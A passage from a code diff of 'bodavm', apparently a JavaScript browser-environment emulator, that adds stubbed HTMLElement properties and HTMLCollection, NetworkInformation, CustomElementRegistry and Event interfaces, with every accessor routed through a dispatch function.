bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onseeking", { + configurable: true, + enumerable: true, + get: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeking_get", arguments); + }, + set: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeking_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onselect", { + configurable: true, + enumerable: true, + get: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselect_get", arguments); + }, + set: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onslotchange", { + configurable: true, + enumerable: true, + get: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onslotchange_get", arguments); + }, + set: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onslotchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onstalled", { + configurable: true, + enumerable: true, + get: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onstalled_get", arguments); + }, + set: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onstalled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onsubmit", { + configurable: true, + enumerable: true, + get: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsubmit_get", arguments); + }, + set: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsubmit_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onsuspend", { + configurable: true, + enumerable: true, + get: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsuspend_get", arguments); + }, + set: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsuspend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontimeupdate", { + configurable: true, + enumerable: true, + get: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontimeupdate_get", arguments); + }, + set: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontimeupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontoggle", { + configurable: true, + enumerable: true, + get: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontoggle_get", arguments); + }, + set: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontoggle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onvolumechange", { + configurable: true, + enumerable: true, + get: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onvolumechange_get", arguments); + }, + set: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onvolumechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwaiting", { + configurable: true, + enumerable: true, + get: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwaiting_get", arguments); + }, + set: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwaiting_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationend", { + configurable: true, + enumerable: true, + get: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationend_get", arguments); + }, + set: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationiteration", { + configurable: true, + enumerable: true, + get: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationiteration_get", arguments); + }, + set: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationstart", { + configurable: true, + enumerable: true, + get: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationstart_get", arguments); + }, + set: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkittransitionend", { + configurable: true, + enumerable: true, + get: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkittransitionend_get", arguments); + }, + set: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkittransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwheel", { + configurable: true, + enumerable: true, + get: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwheel_get", arguments); + }, + set: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onauxclick", { + configurable: true, + enumerable: true, + get: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onauxclick_get", arguments); + }, + set: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onauxclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ongotpointercapture", { + configurable: true, + enumerable: true, + get: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ongotpointercapture_get", arguments); + }, + set: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ongotpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onlostpointercapture", { + configurable: true, + enumerable: true, + get: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onlostpointercapture_get", arguments); + }, + set: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onlostpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerdown", { + configurable: true, + enumerable: true, + get: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerdown_get", arguments); + }, + set: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerdown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointermove", { + configurable: true, + enumerable: true, + get: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointermove_get", arguments); + }, + set: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointermove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerrawupdate", { + configurable: true, + enumerable: true, + get: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerrawupdate_get", arguments); + }, + set: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerrawupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerup", { + configurable: true, + enumerable: true, + get: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerup_get", arguments); + }, + set: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointercancel", { + configurable: true, + enumerable: true, + get: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointercancel_get", arguments); + }, + set: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointercancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerover", { + configurable: true, + enumerable: true, + get: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerover_get", arguments); + }, + set: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerout", { + configurable: true, + enumerable: true, + get: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerout_get", arguments); + }, + set: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerenter", { + configurable: true, + enumerable: true, + get: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerenter_get", arguments); + }, + set: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerleave", { + configurable: true, + enumerable: true, + get: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerleave_get", arguments); + }, + set: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onselectstart", { + configurable: true, + enumerable: true, + get: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectstart_get", arguments); + }, + set: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onselectionchange", { + configurable: true, + enumerable: true, + get: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectionchange_get", arguments); + }, + set: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectionchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationend", { + configurable: true, + enumerable: true, + get: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationend_get", arguments); + }, + set: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationiteration", { + configurable: true, + enumerable: true, + get: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationiteration_get", arguments); + }, + set: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationstart", { + configurable: true, + enumerable: true, + get: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationstart_get", arguments); + }, + set: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionrun", { + configurable: true, + enumerable: true, + get: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionrun_get", arguments); + }, + set: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionrun_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionstart", { + configurable: true, + enumerable: true, + get: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionstart_get", arguments); + }, + set: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionend", { + configurable: true, + enumerable: true, + get: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionend_get", arguments); + }, + set: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitioncancel", { + configurable: true, + enumerable: true, + get: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitioncancel_get", arguments); + }, + set: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitioncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncopy", { + configurable: true, + enumerable: true, + get: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncopy_get", arguments); + }, + set: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncopy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncut", { + configurable: true, + enumerable: true, + get: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncut_get", arguments); + }, + set: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncut_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpaste", { + configurable: true, + enumerable: true, + get: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpaste_get", arguments); + }, + set: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpaste_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "dataset", { + configurable: true, + enumerable: true, + get: function dataset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dataset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "nonce", { + configurable: true, + enumerable: true, + get: function nonce() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "nonce_get", arguments); + }, + set: function nonce() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "nonce_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "autofocus", { + configurable: true, + enumerable: true, + get: function autofocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autofocus_get", arguments); + }, + set: function autofocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autofocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "tabIndex", { + configurable: true, + enumerable: true, + get: function tabIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "tabIndex_get", arguments); + }, + set: function tabIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "tabIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "style_get", arguments); + }, + set: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "style_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "attributeStyleMap", { + configurable: true, + enumerable: true, + get: function attributeStyleMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "attributeStyleMap_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "attachInternals", { + configurable: true, + enumerable: true, + writable: true, + value: function attachInternals() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "attachInternals", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "blur", { + configurable: true, + enumerable: true, + writable: true, + value: function blur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "blur", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "click", { + configurable: true, + enumerable: true, + writable: true, + value: function click() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "click", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "focus", { + configurable: true, + enumerable: true, + writable: true, + value: function focus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "focus", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "inert", { + configurable: true, + enumerable: true, + get: function inert() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inert_get", arguments); + }, + set: function inert() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inert_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncontentvisibilityautostatechange", { + configurable: true, + enumerable: true, + get: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontentvisibilityautostatechange_get", arguments); + }, + set: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontentvisibilityautostatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onbeforematch", { + configurable: true, + enumerable: true, + get: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforematch_get", arguments); + }, + set: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforematch_set", arguments); + } +}, 'prototype'); +// HTMLCollection对象 + +bodavm.memory.globalobj['HTMLCollection'] = function HTMLCollection() { + console.log_copy('HTMLCollection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLCollection)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLCollection'], "HTMLCollection"); +bodavm.toolsFunc.defineProperty('HTMLCollection', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCollection', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCollection', "namedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function namedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "namedItem", arguments); + } +}, 'prototype'); +// NetworkInformation对象 + +bodavm.memory.globalobj['NetworkInformation'] = function NetworkInformation() { + console.log_copy('NetworkInformation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NetworkInformation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NetworkInformation'], "NetworkInformation"); +bodavm.memory.globalobj['NetworkInformation'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['NetworkInformation'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('NetworkInformation', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NetworkInformation', "effectiveType", { + configurable: true, + enumerable: true, + get: function effectiveType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "effectiveType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NetworkInformation', "rtt", { + configurable: true, + enumerable: true, + get: function rtt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "rtt_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NetworkInformation', "downlink", { + configurable: true, + enumerable: true, + get: function downlink() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "downlink_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NetworkInformation', "saveData", { + configurable: true, + enumerable: true, + get: function saveData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "saveData_get", arguments); + }, + set: undefined +}, 'prototype'); +// CustomElementRegistry对象 + +bodavm.memory.globalobj['CustomElementRegistry'] = function CustomElementRegistry() { + console.log_copy('CustomElementRegistry 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CustomElementRegistry)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CustomElementRegistry'], "CustomElementRegistry"); +bodavm.toolsFunc.defineProperty('CustomElementRegistry', "define", { + configurable: true, + enumerable: true, + writable: true, + value: function define() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "define", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomElementRegistry', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomElementRegistry', "upgrade", { + configurable: true, + enumerable: true, + writable: true, + value: function upgrade() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "upgrade", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomElementRegistry', "whenDefined", { + configurable: true, + enumerable: true, + writable: true, + value: function whenDefined() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "whenDefined", arguments); + } +}, 'prototype'); +// Event对象 + +bodavm.memory.globalobj['Event'] = function Event() { + console.log_copy('Event 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Event)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Event': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Event'], "Event"); +bodavm.toolsFunc.defineProperty('Event', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('Event', "CAPTURING_PHASE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('Event', "AT_TARGET", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('Event', "BUBBLING_PHASE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('Event', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "currentTarget", { + configurable: true, + enumerable: true, + get: function currentTarget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "currentTarget_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "eventPhase", { + configurable: true, + enumerable: true, + get: function eventPhase() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "eventPhase_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "bubbles", { + configurable: true, + enumerable: true, + get: function bubbles() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "bubbles_get", arguments); + }, + 